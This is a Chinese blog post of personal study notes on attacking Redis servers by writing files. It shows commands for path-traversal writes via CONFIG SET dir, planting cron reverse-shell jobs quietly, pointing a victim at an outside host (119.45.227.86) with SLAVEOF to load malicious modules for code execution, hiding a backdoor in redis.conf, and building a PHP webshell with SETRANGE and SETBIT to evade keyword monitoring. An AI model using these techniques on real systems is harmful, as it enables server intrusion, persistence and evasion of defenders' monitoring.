redis攻击篇-redis写文件

  个人学习笔记1:

  主题:redis写文件:

  大量知识参考:http://redisdoc.com/

  查看redis所有配置选项

config get *

  

127.0.0.1:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "unixsocket"
  8) ""
  9) "logfile"
 10) ""
 11) "pidfile"
 12) ""
 13) "slave-announce-ip"
 14) ""
 15) "maxmemory"
 16) "0"
 17) "maxmemory-samples"
 18) "5"
 19) "timeout"
 20) "0"
 21) "auto-aof-rewrite-percentage"
 22) "100"
 23) "auto-aof-rewrite-min-size"
 24) "67108864"
 25) "hash-max-ziplist-entries"
 26) "512"
 27) "hash-max-ziplist-value"
 28) "64"
 29) "list-max-ziplist-size"
 30) "-2"
 31) "list-compress-depth"
 32) "0"
 33) "set-max-intset-entries"
 34) "512"
 35) "zset-max-ziplist-entries"
 36) "128"
 37) "zset-max-ziplist-value"
 38) "64"
 39) "hll-sparse-max-bytes"
 40) "3000"
 41) "lua-time-limit"
 42) "5000"
 43) "slowlog-log-slower-than"
 44) "10000"
 45) "latency-monitor-threshold"
 46) "0"
 47) "slowlog-max-len"
 48) "128"
 49) "port"
 50) "6379"
 51) "tcp-backlog"
 52) "511"
 53) "databases"
 54) "16"
 55) "repl-ping-slave-period"
 56) "10"
 57) "repl-timeout"
 58) "60"
 59) "repl-backlog-size"
 60) "1048576"
 61) "repl-backlog-ttl"
 62) "3600"
 63) "maxclients"
 64) "10000"
 65) "watchdog-period"
 66) "0"
 67) "slave-priority"
 68) "100"
 69) "slave-announce-port"
 70) "0"
 71) "min-slaves-to-write"
 72) "0"
 73) "min-slaves-max-lag"
 74) "10"
 75) "hz"
 76) "10"
 77) "cluster-node-timeout"
 78) "15000"
 79) "cluster-migration-barrier"
 80) "1"
 81) "cluster-slave-validity-factor"
 82) "10"
 83) "repl-diskless-sync-delay"
 84) "5"
 85) "tcp-keepalive"
 86) "300"
 87) "cluster-require-full-coverage"
 88) "yes"
 89) "no-appendfsync-on-rewrite"
 90) "no"
 91) "slave-serve-stale-data"
 92) "yes"
 93) "slave-read-only"
 94) "yes"
 95) "stop-writes-on-bgsave-error"
 96) "yes"
 97) "daemonize"
 98) "no"
 99) "rdbcompression"
100) "yes"
101) "rdbchecksum"
102) "yes"
103) "activerehashing"
104) "yes"
105) "protected-mode"
106) "yes"
107) "repl-disable-tcp-nodelay"
108) "no"
109) "repl-diskless-sync"
110) "no"
111) "aof-rewrite-incremental-fsync"
112) "yes"
113) "aof-load-truncated"
114) "yes"
115) "maxmemory-policy"
116) "noeviction"
117) "loglevel"
118) "notice"
119) "supervised"
120) "no"
121) "appendfsync"
122) "everysec"
123) "syslog-facility"
124) "local0"
125) "appendonly"
126) "no"
127) "dir"
128) "/Users/qixin01/Downloads/redis-3.2.9/src"
129) "save"
130) "3600 1 300 100 60 10000"
131) "client-output-buffer-limit"
132) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
133) "unixsocketperm"
134) "0"
135) "slaveof"
136) ""
137) "notify-keyspace-events"
138) ""
139) "bind"
140) ""

  

  这边查看一共发现有140/2项

  redis配置选项详解:

  https://www.cnblogs.com/AlanLee/p/5924783.html

  redis写文件注意点:

  常规的:写计划任务,写ssh公钥

  发现依赖了选项1和选项127,我们涉及到写文件离不开dir和dbfilename:

  常规的不想提了,如ssh公钥和写计划任务

  说点小技巧:

  (1)关于dir选项:

  dir声明目录支持../跳目录:

  

127.0.0.1:6379> CONFIG SET dir /Users/**/Desktop/log4jScan/../
OK
127.0.0.1:6379> CONFIG SET dbfilename redis_test2
OK
127.0.0.1:6379> set payload "hello"
OK
127.0.0.1:6379> save
OK

 

  

 

 

   

  查看文件:

  

 

 

 

  

  写文件发现,查看文件的时候:

  发现有个前缀标识符:redis-bits?@?ctime,因为官方说明save,默认保存的是rdb文件,redis-bits?@?ctime就是rdb标识符,实战可以把它看成脏数据

    

  

  (2)不要轻易尝试计划任务写bash反弹:

  计划任务bash反弹是存在安全风险的

  如下图所示:

  

 

 

   

  如果尝试以这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,大家可以本地测试下就知道了

  极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏

  正确的做法是:选择一个开发不常用的计划任务:

  以centos7为例子:

  

 

 

   

  对应的含义如下:每天/每日/每小时/每月/每周

  可以写文件到/etc/cron.hourly/

  可以覆盖0anacron文件 or 创建一个可执行的sh文件

  覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:

  

 

 

   创建可执行sh文件:如下所示:

  

 

 

   这样就不会覆盖文件,比较保险

  

  (3)redis 4.x/5.x ,redis 3.x不受影响 主从复制shell 选项(135) slaveof

  主从复制优点:外部加载模块,可以落地无损文件,而不会有所谓的”脏数据”

  redis module load是新特性,redis 3.x不存在

  主从复制尽量保持redis版本一致:

  什么是主从复制?

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

  利用攻击:

  

127.0.0.1:6379> SLAVEOF 119.45.227.86 6379
127.0.0.1:6379> CONFIG GET slaveof
1) "slaveof"
2) "119.45.227.86 6379"
127.0.0.1:6379> get b
"123"
127.0.0.1:6379>

  

 

 

  同步给119.45.227.86:6379,保证6379开启

  

119.45.227.86:6379 客户端配置:
127.0.0.1:6379> CONFIG SET protected-mode no
OK

  远程在119.45.227.86:6379上操作:

  

127.0.0.1:6379> CONFIG SET protected-mode no
OK
127.0.0.1:6379> set ddd 123
OK
127.0.0.1:6379>

  

 

 

   本地127.0.0.1:6379客户端查看是否同步成功:

  

127.0.0.1:6379> get b
"123"
127.0.0.1:6379> get ddd
"123"
127.0.0.1:6379> get ddd
"123"

  

 

 

   

  利用rce:https://paper.seebug.org/975/

  linux就是加载so模块

  windows就是加载dll模块

  (4)还可以写文件到哪里?

  除了ssh公钥/计划任务/网站绝对路径

  1.覆盖写redis.conf中的配置选项,在管理员下次重启的时候生效,当作隐藏后门文件

  .......

 

  redis 隐蔽写文件bypass 敏感词监控研究:

  需求如下:

  需求:替换a为b

  方法(1)redis setrange:

  

 

  

  

127.0.0.1:6379> set name a
OK
127.0.0.1:6379> get name
"a"
127.0.0.1:6379> SETRANGE name 0 b
(integer) 1
127.0.0.1:6379> get name
"b"

  redis写shell 敏感/特殊词监控 bypass:

  

127.0.0.1:6379> set shell "<?> phpinfx();?>"
OK
127.0.0.1:6379> SETRANGE shell 2 "php p"
(integer) 16
127.0.0.1:6379> get shell
"<?php pinfx();?>"
127.0.0.1:6379> SETRANGE shell 6 "phpinfo();"
(integer) 16
127.0.0.1:6379> get shell
"<?php phpinfo();"
127.0.0.1:6379> SETRANGE shell 15 ";?>"
(integer) 18
127.0.0.1:6379> get shell
"<?php phpinfo();?>"
127.0.0.1:6379>

 

  

  这种是比较简单的,但是不够隐蔽,使用redis自带的语句监控MOITIOR命令还是可以明显很看出来:

  monitor命令解释:实时打印出 Redis 服务器接收到的命令,调试用

  

 

 

 

  

 

  

  

  更隐蔽的替换方法:

  方法2:redis setbit命令:

  先从修改a为b开始:

  setbit的使用比setrange复杂的多,先了解前置知识:

  ascii码表:

  http://c.biancheng.net/c/ascii/

  想要把a替换成b:

  怎么做?

  查询ascii码表,寻找a和b的对应的ascii 十进制:

  a=ascii 97

  b=ascii 98

   

 

 

 

  

  十进制转换二进制:https://tool.lu/hexconvert/

  ascii 97=01100001 = a

  ascii 98=01100010 = b

  如果想把a修改成b,对比发现两个值之间只有第六个位置和第七个位置不一样,所以我们只要修改第六个位置的0改成1,把第七个位置的1改成0,初始值键从0开始:

   

127.0.0.1:6379> set name a
OK
127.0.0.1:6379> SETBIT name 6 1
(integer) 0
127.0.0.1:6379> SETBIT name 7 0
(integer) 1
127.0.0.1:6379> get name
"b"
127.0.0.1:6379>

 

  

 

 

  

  这样修改内容,就比方法1更隐蔽

  如果是是多个字符串,怎么修改其中某个值?

  例子如下:

    

 

    

    

修改tett为test:

怎么做?
步骤如下:

(1)tett依次转换成ascii码表

t=116

e=101

t=116

t=116

(2)test依次抓换成ascii码表

t=116

e=101

s=115

t=116

(3)tett ascii码 十进制依次转换成2进制:

t=116=01110100

e=101=01100101

t=116=01110100

t=116=01110100

(4)test ascii码 十进制依次转换成2进制:

t=116=01110100

e=101=01100101

s=115=01110011

t=116=01110100

最后对比(3)和(4)即可:

合并:

(3):01110100011001010111010001110100

(4):01110100011001010111001101110100

目前是(3)就是tett,变成test:

对比从0位置开始数:

  

 

 

 

   

127.0.0.1:6379> set name "tett"
OK
127.0.0.1:6379> SETBIT name 21 0
(integer) 1
127.0.0.1:6379> SETBIT name 22 1
(integer) 0
127.0.0.1:6379> SETBIT name 23 1
(integer) 0
127.0.0.1:6379> get name
"test"
127.0.0.1:6379>

  

 

 

 

  查看语句监控:

   

 

 

   

  隐蔽性很强,不能直接看到关键字

 

  

参考资料:

(1)https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df

(2)http://redisdoc.com/

 

posted @ 2022-02-14 13:35  飘渺红尘✨  阅读(808)  评论(0编辑  收藏  举报
Title